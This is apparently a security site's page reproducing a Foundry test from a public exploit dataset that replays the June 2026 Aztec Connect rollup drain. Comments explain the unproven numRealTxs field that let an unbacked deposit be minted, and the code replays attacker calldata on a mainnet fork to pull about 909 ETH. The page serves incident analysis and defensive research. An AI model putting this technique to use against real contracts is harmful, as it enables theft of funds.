Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/AztecConnect_exp.sol

Public reproduction file for dataset entry Aztec Connect.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/AztecConnect_exp.sol126 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// @KeyInfo - Total Lost : ~$2.19M (908.99 ETH + 270.5K DAI + 167.9 wstETH + yvDAI/yvWETH/LUSD/yvLUSD)
7// This PoC covers the 908.99 ETH leg.
8// Attacker EOA : 0x0F18D8b44a740272f0be4d08338d2b165b7EdD17 (funded via Tornado Cash)
9// Attacker Orchestrator : 0x06f585F74e0DA633Ae813A0f23Fb9900B61d0fcD (4-byte trigger 0x6f3ce701)
10// Vulnerable contract : 0xFF1F2B4ADb9dF6FC8eAFecDcbF96A2B351680455 (Aztec Connect RollupProcessorV3, deprecated)
11// Attack Tx : 0x074ec9317d8336db37e8c348fbdd7515573ff4088239c77ab429f522509aeeb1 (block 25,315,715)
12//
13// @Analysis
14// Attack date : Jun-14-2026
15// Chain : Ethereum mainnet
16// Post-mortem : https://www.cryptotimes.io/2026/06/15/aztec-exploit-drains-2-19m-from-dormant-privacy-protocol/
17// Foundation : https://x.com/aztecFND/status/2066175938887619055
18//
19// @Root cause - numRealTxs mismatch between proof/hash coverage and L1 settlement (core/Decoder.sol):
20//
21// * decodeProof() commits the public inputs in FULL inner-rollup chunks. With numRealTxs = 1,
22// rollupSize = 1024 and numRollupTxs = 32 (innerSize = 1024/32 = 32), it hashes ceil(1/32) = 1
23// full chunk -> ALL 32 slots of inner-rollup #0 are proven and their notes minted into L2 state.
24//
25// * processDepositsAndWithdrawals() settles EXACTLY numRealTxs txs: end = ptr + numRealTxs * 256.
26// With numRealTxs = 1 only slot 0 is settled.
27//
28// => A DEPOSIT placed in slot 1 is proven (note minted) but its L1 validation
29// (decreasePendingDepositBalance + shield signature) is SKIPPED -> unbacked L2 balance,
30// later withdrawn for real ETH. The proof is a normal, valid rollup proof; nothing is forged.
31// On the deprecated RollupProcessorV3, processRollup() is permissionless (the provider gate was
32// removed for sunset self-exit), so anyone can submit these rollups.
33//
34// numRealTxs lives at proofData[0x11c0], OUTSIDE the 0..0x11c0 header that is hashed, so it is NOT
35// bound by the zk proof. It only sets the chunk COUNT ceil(numRealTxs/32), and 1..32 all map to one
36// chunk -> the SAME proof verifies for any numRealTxs in [1..32].
37//
38// @Choreography - 14 state-chained rollups (ids 13277..13290). The ETH leg:
39// 13277 : [slot0 account (settled no-op)] [slot1 DEPOSIT 908.99 ETH (skipped -> unbacked mint)]
40// 13278..13283 : same trick for DAI / wstETH / yvDAI / yvWETH / LUSD / yvLUSD
41// 13284..13289 : withdraw those 6 assets (settled) to the attacker EOA
42// 13290 : [slot0 WITHDRAW 908.99 ETH (settled) -> attacker EOA]
43//
44// Requires an archival mainnet RPC (state at block 25,300,000) for the `mainnet` endpoint.
46contract AztecConnect_exp is Test {
47 address internal constant ROLLUP = 0xFF1F2B4ADb9dF6FC8eAFecDcbF96A2B351680455;
48 address internal constant ATTACKER = 0x0F18D8b44a740272f0be4d08338d2b165b7EdD17;
49 string internal constant CALLDATA = "src/test/2026-06/aztecconnect_calldata.txt";
50 uint256 internal constant N = 14;
52 // `proofData` starts 100 bytes into processRollup(bytes,bytes) calldata; field offsets within it:
53 uint256 internal constant OFF_ROLLUP_ID = 0x00; // rollupId (uint256)
54 uint256 internal constant OFF_NUM_REAL = 0x11c0; // numRealTxs (uint32) <- the unprotected knob
55 uint256 internal constant OFF_PUBLIC_VALUE = 4810; // slot-1 tx publicValue (encStart 4552 + account 129 + 129)
57 function setUp() public {
58 vm.createSelectFork("mainnet", 25_300_000);
59 }
61 /// @notice 14 state-chained rollups drain the vault; each declares numRealTxs == 1.
62 function testExploit() public {
63 emit log_named_decimal_uint("vault ETH before ", ROLLUP.balance, 18);
65 uint256 start = ATTACKER.balance;
66 for (uint256 i = 0; i < N; i++) {
67 bytes memory cd = vm.parseBytes(vm.readLine(CALLDATA));
68 emit log_named_uint(
69 string.concat("rollup ", vm.toString(_word(cd, OFF_ROLLUP_ID)), " numRealTxs"), _numRealTxs(cd)
70 );
71 // processRollup is permissionless on V3, so any caller is accepted.
72 (bool ok,) = ROLLUP.call(cd);
73 require(ok, "processRollup replay failed");
74 }
75 vm.closeFile(CALLDATA);
77 uint256 gained = ATTACKER.balance - start;
78 emit log_named_decimal_uint("attacker ETH gained ", gained, 18);
79 emit log_named_decimal_uint("vault ETH after ", ROLLUP.balance, 18);
80 assertGt(gained, 900 ether, "expected >900 ETH drained to attacker");
81 }
83 /// @notice The vulnerability isolated to a single field. The mint rollup (13277) carries a real
84 /// 908.99-ETH deposit in slot 1 but declares numRealTxs = 1 so settlement skips it. Restore
85 /// the honest count (numRealTxs = 2) WITHOUT touching anything else: the identical proof
86 /// still verifies (1..32 -> same hash chunk), but now the deposit is settled and its L1
87 /// backing check rejects it. One byte is the difference between a free mint and a revert.
88 function testBugIsOneField() public {
89 bytes memory cd = vm.parseBytes(vm.readLine(CALLDATA)); // rollup 13277 (the ETH mint)
90 vm.closeFile(CALLDATA);
92 emit log_named_uint("declared numRealTxs ", _numRealTxs(cd));
93 emit log_named_decimal_uint("slot-1 DEPOSIT value ", _word(cd, OFF_PUBLIC_VALUE), 18);
95 // Flip ONLY numRealTxs 1 -> 2 (its honest value: this rollup really has 2 txs).
96 _setNumRealTxs(cd, 2);
97 assertEq(_numRealTxs(cd), 2, "knob set to honest count");
99 (bool ok, bytes memory ret) = ROLLUP.call(cd);
100 assertFalse(ok, "same proof + honest numRealTxs => deposit validated => revert");
101 emit log_named_bytes("revert selector (deposit validation)", ret); // INSUFFICIENT_DEPOSIT()
102 }
104 /* ----------------------------- calldata helpers ----------------------------- */
106 function _word(bytes memory cd, uint256 pdOff) internal pure returns (uint256 v) {
107 assembly {
108 v := mload(add(cd, add(0x20, add(100, pdOff))))
109 }
110 }
112 function _numRealTxs(bytes memory cd) internal pure returns (uint256 v) {
113 // numRealTxs occupies the top 4 bytes of the 32-byte word at proofData[0x11c0].
114 assembly {
115 v := shr(224, mload(add(cd, add(0x20, add(100, 0x11c0)))))
116 }
117 }
119 function _setNumRealTxs(bytes memory cd, uint32 n) internal pure {
120 assembly {
121 let p := add(cd, add(0x20, add(100, 0x11c0)))
122 let w := and(mload(p), 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
123 mstore(p, or(w, shl(224, n)))
124 }
125 }

Analysis

Dataset entry

Public Foundry test for “Aztec Connect” (2026-06-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0f18d8b44a740272f0be4d08338d2b165b7edd17

  • Attacker

    0x06f585f74e0da633ae813a0f23fb9900b61d0fcd

  • Vulnerable contract

    0xff1f2b4adb9df6fc8eafecdcbf96a2b351680455

  • Attack Tx

    0x074ec9317d8336db37e8c348fbdd7515573ff4088239c77ab429f522509aeeb1

File record

Name
Aztec Connect
Path
src/test/2026-06/AztecConnect_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3ef8f921090500f8fb7edb7a9caddb2052ef1d6b
Language
Solidity
Size
127 lines
Date
2026-06-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/AztecConnect_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3ef8f921090500f8fb7edb7a9caddb2052ef1d6b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.